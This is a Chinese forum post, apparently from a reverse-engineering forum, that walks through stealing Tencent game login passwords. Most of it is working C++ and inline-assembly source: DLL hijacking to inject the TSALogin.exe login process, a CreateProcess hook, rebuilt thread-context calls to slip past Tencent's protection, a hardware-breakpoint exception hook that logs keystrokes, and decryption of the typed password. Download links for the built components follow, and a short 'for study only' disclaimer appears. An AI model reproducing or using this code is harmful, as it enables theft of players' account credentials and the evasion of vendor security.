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本帖最后由 skyinter 于 2016-4-8 00:05 编辑
标 题: 【原创】TX游戏登陆密码截取(详细,高清有码)
作 者: anywhere杨
时 间: 2015-07-03,11:34:44
Ps:本文仅为学习研究结果(通用xp和win7),私自用于任何商业活动造成的后果请自行承担
代码:
- 此文重点:
- 1、劫持rasadhlp.dll实现对TSALogin.exe的完美注入.(不少朋友对怎么注入这个exe一直不懂)
- 2、安装消息勾子,判断当前输入焦点
- 3、自己构造ZwSetContextThread,和ZwGetContextThread
- 4、设置硬件断点,监视键盘输入,保存未加密虚键码和加密虚键码
- 5、实现解密
IDA Console, Courier New, serif">
1、构造rasadhlp.dll,可以使用看雪的dll劫持生成工具,生成代码,我忘了是哪位大神的了,先借用一下,等会上传到附件
因为TSALogin.exe是用登陆器打开的,所以只要在登陆器中做手脚就能注入TSALogin.exe,把劫持dll放到与登陆器相同目录,登陆器打开的时候,就会加载劫持dll。劫持dll再加载工作dll,然后工作dll中再做一些工作(请继续往下看)
- unsigned int WINAPI _WorkThread(void * lpPram)
- {
- TCHAR tcWorkDll[MAX_PATH];
- GetModuleFileName(nullptr,g_tcExeDir,MAX_PATH);
- *( _tcsrchr(g_tcExeDir,'\\') +1 )=0;
- _stprintf_s(tcWorkDll,_T("%s%s"),g_tcExeDir,_T("tencent_Login.dll"));
- hTestModule=LoadLibrary(tcWorkDll);
- return 0;
- }
- BOOL APIENTRY DllMain( HMODULE hModule,
- DWORD ul_reason_for_call,
- LPVOID lpReserved
- )
- {
- if (ul_reason_for_call == DLL_PROCESS_ATTACH)
- {//我最后测试是tgp。但是发现tgp没加密,其实游戏都是加密的,如jfzr,fifa3等
- if(IsSpecifyProcessName(_T("tgp_daemon.exe")))
- {
- hWorkThread=(HANDLE)_beginthreadex(NULL,NULL,_WorkThread,NULL,NULL,NULL);
- }
- using namespace AheadLib;
- return Load();
- }
- else if (ul_reason_for_call == DLL_PROCESS_DETACH)
- {
- using namespace AheadLib;
- Free();
- }
- return TRUE;
- }
2、工作dll(tencent_Login.dll),Hook CreateProcessW,实现启动TSALogin.exe的时候注入工作dll(tencent_Login.dll),这样TSAlogin.exe就被我们完美注入了,因为注入dll是在检测之前注入的,所以不会被检测
- BOOL WINAPI myCreateProcess(LPCWSTR lpApplicationName,LPWSTR lpCommandLine,LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,
- BOOL bInheritHandles,DWORD dwCreationFlags,LPVOID lpEnvironment,LPCWSTR lpCurrentDirectory,LPSTARTUPINFOW lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation
- )
- {
- BOOL bRet =FALSE;
- CHAR tcText[MAX_PATH];
- if( _tcsstr(lpCommandLine,_T("TASLogin.exe")) )
- {
- GetModuleFileNameA(g_hMod,tcText,MAX_PATH);
- return DetourCreateProcessWithDll(lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes,
- bInheritHandles,dwCreationFlags,lpEnvironment,lpCurrentDirectory,lpStartupInfo,lpProcessInformation,tcText,RealCreateProcess);
- }
- return RealCreateProcess(lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes,
- bInheritHandles,dwCreationFlags,lpEnvironment,lpCurrentDirectory,lpStartupInfo,lpProcessInformation);
- }
- void StartWork()
- {
- DetourTransactionBegin();
- DetourUpdateThread(GetCurrentThread());
- TCHAR tcText[100];
- TCHAR lpProcessName[50]={0} ;
- _tcscpy_s(lpProcessName, GetCurProcessName().c_str());
- if( !_tcsicmp ( lpProcessName,_T("tgp_daemon.exe")) )
- {
- DetourAttach((PVOID*)&RealCreateProcess,myCreateProcess); //HOOK CreateProcess,实现完美注入TSALogin.exe
- }
- if( !_tcsicmp ( lpProcessName,_T("TASLogin.exe")) )
- {
- DWORD dwOldProtect;
- //自己构造 ZwSetContextThread ZwGetContextThread,因为等会这2个函数会被TX hook,所以我们先构造一份自己的
- ZwSetContextThread=(fnZwSetContextThread)GetProcAddress(GetModuleHandle(_T("ntdll")),"ZwSetContextThread");
- ZwGetContextThread=(fnZwGetContextThread)GetProcAddress(GetModuleHandle(_T("ntdll")),"ZwGetContextThread");
- ReadProcessMemory((HANDLE)-1,(VOID*)ZwSetContextThread,g_ZwSetContextThreadZone,5,nullptr);
- ReadProcessMemory((HANDLE)-1,(VOID*)ZwGetContextThread,g_ZwGetContextThreadZone,5,nullptr);
- VirtualProtect(g_ZwSetContextThreadZone,10,PAGE_EXECUTE_READWRITE,&dwOldProtect);
- VirtualProtect(g_ZwGetContextThreadZone,10,PAGE_EXECUTE_READWRITE,&dwOldProtect);
- *(BYTE*)(g_ZwGetContextThreadZone+5)=0xE9;
- *(BYTE*)(g_ZwSetContextThreadZone+5)=0xE9;
- *(DWORD*)( g_ZwGetContextThreadZone+6)= (DWORD)ZwGetContextThread - (DWORD)g_ZwGetContextThreadZone -5;
- *(DWORD*)( g_ZwSetContextThreadZone+6 )=(DWORD)ZwSetContextThread -(DWORD)g_ZwSetContextThreadZone -5;
- /*_stprintf_s(tcText,_T("g_ZwGetContextThreadZone = 0x%x,g_ZwSetContextThreadZone =0x%x"),g_ZwGetContextThreadZone,g_ZwSetContextThreadZone);
- OutputDebugString(tcText);*/
- //Hook RtlDispatchException
- ProcessDispatchException(); //设置硬件断点,监视键盘输入
- g_hHookId=SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,g_hMod,GetCurrentThreadId());
- OutputDebugString(_T("TSALogin.exe注入成功"));
- }
- DetourTransactionCommit();
- }
- extern void StartWork();
- BOOL APIENTRY DllMain( HMODULE hModule,
- DWORD ul_reason_for_call,
- LPVOID lpReserved
- )
- {
- switch (ul_reason_for_call)
- {
- case DLL_PROCESS_ATTACH:
- g_hMod=hModule;
- StartWork();
- break;
- case DLL_THREAD_ATTACH:
- break;
- case DLL_THREAD_DETACH:
- break;
- case DLL_PROCESS_DETACH:
- break;
- }
- return TRUE;
- }
3、设置硬件断点监视键盘输入, 众所周知,TX是做了一个WH_KEYBOARD_LL来捕获输入的而且游戏是捕获到正确的虚键码,然后加密了再传到这个回调函数,然后实现 加密的l输入,,那么我们在回调函数这儿下断点,就能捕获所有输入了,然后Hook RtlDispatchException再保存未加密的虚键码和加密的虚键码,就可以做一个密码对了,最后解密会用到,请看代码
- BOOL RtlDispatchException(PEXCEPTION_RECORD pExcptRec,CONTEXT * pContext)
- {
- //好了,重点来了,因为要跳回去执行,所以必须先还原Ebp,Esp,否则将会出错
- //g_dwExceptionAddr 这个地址就是游戏的低层键盘勾子函数入口,在这个地方能获取到当前键盘的输入
- //把参数提取出来,传给FilterLowLevelMouseProc函数,进行过滤处理
- if( pExcptRec->ExceptionAddress == (VOID*)g_dwExceptionAddr )
- {
- g_dwEbp = pContext->Ebp;
- g_dwEsp=pContext->Esp;
- g_dwJmpAddr =pContext->Eip+5;
- __asm
- {
- mov ebp,g_dwEbp; //首先要还原执行环境,就是说还原成执行g_dwExceptionAddr这个地址函数之前的环境
- mov esp,g_dwEsp;
- push ebp; //手动构造栈空间
- mov ebp,esp;
- push [ebp+0x10]; //这3个参数是需要的,注意压栈顺序
- push [ebp+0xC];
- push [ebp+0x8];
- call FilterLowLevelMouseProc;
- mov esp,ebp; //还原栈空间了
- pop ebp;
- //这个地方不能改变,因为游戏就是这样子做的,如果变了,就没有加密虚键码了,用户就会登陆失败
- push 0x99354893;
- jmp g_dwJmpAddr;
- }
- return TRUE;
- }
- return FALSE;
- }ULONG WINAPI _RtlDispatchException( PEXCEPTION_RECORD pExcptRec,CONTEXT * pContext )
- {
- ULONG uRet = 0;
- if(RtlDispatchException(pExcptRec,pContext))
- uRet= 1;
- else
- uRet= m_fnRtlDispatchException(pExcptRec,pContext);
- return uRet;
- }
- void ProcessDispatchException()
- {
- TCHAR tcText[100];
- DWORD dwOldProtect;
- DWORD dwKiUserExceptionDispatcher=(DWORD)::GetProcAddress(::GetModuleHandle(_T("ntdll")),"KiUserExceptionDispatcher");
- _stprintf_s(tcText,_T("dwKiUserExceptionDispatcher = 0x%x"),dwKiUserExceptionDispatcher);
- OutputDebugString(tcText);
- VirtualProtect((VOID*)dwKiUserExceptionDispatcher,5,PAGE_EXECUTE_READWRITE,&dwOldProtect);
- if (dwKiUserExceptionDispatcher)
- {
- while (*(BYTE*)dwKiUserExceptionDispatcher!=0xE8)
- dwKiUserExceptionDispatcher++; //XP~Win7正常,Win8尚无缘得见
- m_fnRtlDispatchException=(pfnRtlDispatchException)((*(DWORD *)(dwKiUserExceptionDispatcher+1))+5+(DWORD)dwKiUserExceptionDispatcher); //得到原函数地址
- //Hook
- DWORD dwNewAddr=(DWORD)_RtlDispatchException-(DWORD)dwKiUserExceptionDispatcher-5;
- WriteProcessMemory((HANDLE)-1,(void*)(dwKiUserExceptionDispatcher+1),(BYTE *)&dwNewAddr,4,nullptr);
- }
- }
4、提取原始虚键码和加密虚键码,通过实践发现游戏只是处理了 0-9,a-z这些字符的虚键码,所以我们只获取这部分,其它的放过。
代码:
- bool bPlainCase =true;
- int g_Key =0;
- void WINAPI FilterLowLevelMouseProc(
- _In_ int nCode,
- _In_ WPARAM wParam,
- _In_ LPARAM lParam
- )
- {
- if(nCode == HC_ACTION)
- {
- PKBDLLHOOKSTRUCT pKdb = (PKBDLLHOOKSTRUCT)lParam;
- if( wParam == WM_KEYDOWN && IsVkCodeNeed(pKdb->vkCode) )
- {
- if( ::GetFocus() == g_hPwd ) //判断是不是在输入密码
- {
- if( bPlainCase ) //第一次来的是原始虚键码
- {
- if(96 <=pKdb->vkCode && pKdb->vkCode<=105 ) //小键盘的0-9,由于这几个键产生的字符是不能直接获取虚键码的,所以转换成主键盘区的0-9
- pKdb->vkCode -=48;
- g_Key=pKdb->vkCode;
- bPlainCase=false;
- }else //加密的虚键码了
- {
- if(96 <=pKdb->vkCode && pKdb->vkCode<=105 )
- pKdb->vkCode -=48;
- SetKeyPair(pKdb->vkCode,g_Key); //用std::<map>来保存密码键对,
- bPlainCase=true;
- }
- }
- }
- }
- }
5、输入的字符解密,前面已经在TSALogin.exe启动的时候安装了消息勾子,当WM_CHAR来的时候,就说明用户输入了字符了。用前面保存的虚键码对获取原始虚键码,然后解密
- LRESULT CALLBACK GetMsgProc(__in int code,__in WPARAM wParam,__in LPARAM lParam
- )
- {
- if( code == HC_ACTION )
- {
- MSG * pMsg =(MSG*)lParam;
- LONG dwStyle = GetWindowLong(pMsg->hwnd,GWL_STYLE);
- if( !g_hPwd &&
- dwStyle & ES_PASSWORD &&
- !( dwStyle&ES_MULTILINE) )
- {
- g_hPwd=pMsg->hwnd;
- }
- if( !g_hKeyboardHook && ::GetFocus() == g_hPwd)
- {
- if( GetModuleHandle(_T("fszwd.dat")) )
- SetMintor();
- }
- if( pMsg->message ==WM_CHAR ) //用户输入的字符(已加密)
- {
- TCHAR tcTetxt[50]={0};
- SHORT sVk=0;
- SHORT sOrgVk=0;
- if( IsCharNeed(pMsg->wParam) && ::GetFocus() ==g_hPwd ) //同样判断是不是在输入密码
- {
- if( pMsg->wParam >='A' && pMsg->wParam <= 'Z' ) //大写的字母不能直接翻译成虚键码
- sVk = VkKeyScan(pMsg->wParam+0x20);
- else
- sVk = VkKeyScan(pMsg->wParam);
- sOrgVk = GetPlainVkcode(sVk); //通过加密虚键码获取到原始虚键码,前面已经保存了虚键码对,所以现在直接可以取出来用了
- if( sOrgVk ) //解密
- {
- _stprintf_s(tcTetxt,_T("ascii码:%d,解密的字符:%c"),pMsg->wParam ,pMsg->wParam + sOrgVk - sVk);
- }else
- _stprintf_s(tcTetxt,_T("ascii码:%d,未解密的字符:%c"),pMsg->wParam ,pMsg->wParam);
- }else
- {
- _stprintf_s(tcTetxt,_T("没有加密的字符:%c"),pMsg->wParam);
- }
- OutputDebugString(tcTetxt);
- }
- }
- return CallNextHookEx(0,code,wParam,lParam);
- }
到此,本文结束,如果你觉得本文对你有帮忙,请帮忙顶一下,在此鸣谢一下
梦无极,硬件断点 hook的思路是从他的过驱动保护教程教程里面学习的
yhswwr,他的硬件断点和处理代码是从他的贴子里面学习的,虽然他的没有提供跳回原环境执行,但是还是给我帮助很多,
*转载请注明来自看雪论坛@PEdiy.com
屌丝:链接: https://pan.baidu.com/s/1nuA2FEx 密码: 1bka
rasadhlp.rar
(6.13 KB, 下载次数: 57)
tencent_Login.rar
(118.85 KB, 下载次数: 52)
劫持dll代码生成工具.zip
(36.47 KB, 下载次数: 55)
吗的,你那只眼看到我写原创两个字了?@puppets
看也不看清楚就开始BB,最后面两个字看不清楚吗?
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